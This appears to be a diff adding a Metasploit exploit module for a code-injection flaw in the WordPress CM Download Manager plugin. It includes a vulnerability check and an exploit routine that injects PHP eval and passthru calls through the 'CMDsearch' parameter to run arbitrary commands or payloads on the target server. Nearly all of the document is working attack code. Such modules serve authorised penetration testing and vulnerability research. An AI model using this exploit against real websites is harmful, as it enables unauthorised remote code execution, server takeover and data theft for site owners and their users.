wordpress cm-download-manager plugin code injection

modules/exploits/unix/webapp/wp_cm_download_manager_exec.rb

@@ -0,0 +1,95 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Wordpress CM Download Manager Plugin Code Injection',
+      'Description'    => %q{
+        This module exploits a vulnerability in the alterSearchQuery() function
+        defined in /wp-content/plugins/cm-download-manager/lib/controllers
+        /CmdownloadController.php for Wordpress CM Download Manager plugin
+        versions 2.0.0 and earlier. User input passed through 'CMDsearch'
+        GET parameter isn't properly sanitized before being used in a call
+        to preg_match_all().  This can be exploited to inject and execute
+        arbitrary code leveraging the PHP's complex curly syntax.
+      },
+      'Author'         => 'Nixawk', # originally reported by the (Phi Ngoc Le)
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          ['EDB', '35324']
+        ],
+      'Privileged'     => false,
+      'Platform'       => ['php'],
+      'Arch'           => ARCH_PHP,
+      'Targets'        => [['Automatic', {}]],
+      'DisclosureDate' => 'Sep 9 2015',
+      'DefaultTarget'  => 0))
+
+    register_options(
+      [
+        OptString.new(
+          'URI', [true, 'The full URI path to vBulletin', '/cmdownloads/']
+        ),
+        OptString.new('CMD', [false, 'Command to execute'])
+      ], self.class)
+  end
+
+  def check
+    flag = rand_text_alpha(rand(10) + 10)
+    print_status("generate a flag: #{flag}")
+
+    payload = "\".print(#{flag}).\""
+
+    uri = normalize_uri(datastore['URI'])
+
+    response = send_request_cgi({
+      'method'    => 'GET',
+      'uri'       => uri,
+      'vars_get'  => { 'CMDsearch' => "#{payload}" }
+    })
+
+    if response.code == 200 && response.body =~ /#{flag}/
+      return Exploit::CheckCode::Vulnerable
+    end
+
+    Exploit::CheckCode::Safe
+  end
+
+  def exploit
+    command = datastore['CMD']
+    if command
+      p = "passthru(\"#{command}\")"
+    else
+      p = payload.encoded
+    end
+
+    uri = normalize_uri(datastore['URI'])
+    print_status("#{peer} - Uploading payload")
+
+    response = send_request_cgi({
+      'method'    =>  'GET',
+      'uri'       =>  uri,
+      'vars_get'  =>  { 'CMDsearch' => "\".eval(#{p}).\"" }
+    })
+
+    if (response.code == 200)
+      print_status("The server returned: #{response.code} #{response.message}")
+      parts = response.body.match(/<div class=\"main\">(.*)<form /mi)
+      if parts
+        print_status(parts[1].to_s) # If a blank line, php sec may be enable
+      end
+    else
+      print_status('No response from the server')
+    end
+  end
+end